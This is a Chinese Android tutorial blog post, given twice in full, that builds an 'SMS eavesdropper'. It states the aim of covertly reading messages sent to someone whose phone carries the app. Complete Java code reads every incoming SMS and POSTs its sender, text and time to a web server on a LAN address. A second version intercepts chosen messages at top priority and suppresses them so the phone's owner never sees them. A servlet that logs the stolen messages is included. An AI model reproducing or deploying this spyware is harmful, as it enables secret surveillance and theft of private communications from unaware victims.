Android入门:广播接收者应用(短信窃听器)
2015-03-29 23:18
393 查看
一、短信窃听器原理介绍
短信窃听器的目的是窃听某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;
Android手机中的Messaging应用也只是一个普通的应用;
二、核心代码
短信窃听器客户端核心代码在AndroidManifest.xml中添加权限:
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码
服务器端代码只是接收参数并显示;
三、短信窃听器具体代码
服务器端代码
[java] view
plaincopy
package org.xiazdong.servlet;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/SMSServlet")
public class SMSServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("utf-8");
String sender = request.getParameter("sender");
String body = request.getParameter("body");
String time = request.getParameter("time");
System.out.println("发送方:"+sender);
System.out.println("发送内容:"+body);
System.out.println("发送时间:"+time);
}
}
1.只是获得短信息
场景介绍
效果说明:
[java] view
plaincopy
package com.xiazdong.smslistener;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody(); //发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress(); //短信发送方
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
<span style="white-space:pre"> </span>if("5554".equals(sender)){
<span style="white-space:pre"> </span>try {
<span style="white-space:pre"> </span>sendSMS(sender,body,date);
<span style="white-space:pre"> </span>} catch (Exception e) {
<span style="white-space:pre"> </span>e.printStackTrace();
<span style="white-space:pre"> </span>}
<span style="white-space:pre"> </span>}
}
}
private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes); //设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}
}
AndroidManifest.xml
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
2.屏蔽短信并发送给第三方
场景说明
客户端代码:
[java] view
plaincopy
package com.xiazdong.smslistener;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody(); //发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress(); //短信发送方
if("15555215556".equals(sender)){
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
abortBroadcast(); //中断广播
}
}
}
private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes); //设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}
}
AndroidManifest.xml
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="1000"> <!-- 优先级设为1000,最高 -->
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
一、短信窃听器原理介绍
短信窃听器的目的是窃听某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;
Android手机中的Messaging应用也只是一个普通的应用;
二、核心代码
短信窃听器客户端核心代码在AndroidManifest.xml中添加权限:
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码
服务器端代码只是接收参数并显示;
三、短信窃听器具体代码
服务器端代码
[java] view
plaincopy
package org.xiazdong.servlet;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/SMSServlet")
public class SMSServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("utf-8");
String sender = request.getParameter("sender");
String body = request.getParameter("body");
String time = request.getParameter("time");
System.out.println("发送方:"+sender);
System.out.println("发送内容:"+body);
System.out.println("发送时间:"+time);
}
}
1.只是获得短信息
场景介绍
效果说明:
[java] view
plaincopy
package com.xiazdong.smslistener;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody(); //发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress(); //短信发送方
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
<span style="white-space:pre"> </span>if("5554".equals(sender)){
<span style="white-space:pre"> </span>try {
<span style="white-space:pre"> </span>sendSMS(sender,body,date);
<span style="white-space:pre"> </span>} catch (Exception e) {
<span style="white-space:pre"> </span>e.printStackTrace();
<span style="white-space:pre"> </span>}
<span style="white-space:pre"> </span>}
}
}
private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes); //设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}
}
AndroidManifest.xml
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
2.屏蔽短信并发送给第三方
场景说明
客户端代码:
[java] view
plaincopy
package com.xiazdong.smslistener;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody(); //发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress(); //短信发送方
if("15555215556".equals(sender)){
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
abortBroadcast(); //中断广播
}
}
}
private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes); //设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}
}
AndroidManifest.xml
[html] view
plaincopy
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="1000"> <!-- 优先级设为1000,最高 -->
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
相关文章推荐
- Android入门:广播接收者应用(短信窃听器)
- Android入门:广播接收者应用(短信窃听器)
- Android入门:广播接收者应用(短信窃听器)
- Android开发入门之采用广播接收者实现短信窃听器
- Android入门:广播接收者应用(电话拦截器)
- Android:BroadcastReceiver:采用广播接收者实现短信窃听器
- Android 采用广播接收者实现短信应用
- Android入门:广播接收者应用(电话拦截器)
- Android入门:广播接收者应用(电话拦截器)
- android_短信广播接收者的应用
- 采用广播接收者实现短信窃听器
- Android入门:广播发送者与广播接收者
- Android短信的发送和广播接收者实现短信的监听
- Android入门:广播发送者与广播接收者
- android基础笔记——广播接收者,实现短信监听
- android广播接收者实例_短信监听
- Android入门:广播发送者与广播接收者(同步广播和有序广播)
- Android广播接收者应用(电话拦截器)
- Android应用开发之短信窃听器(补充)
- android 广播接收者--BroadcastReceiver (实现短信窃听)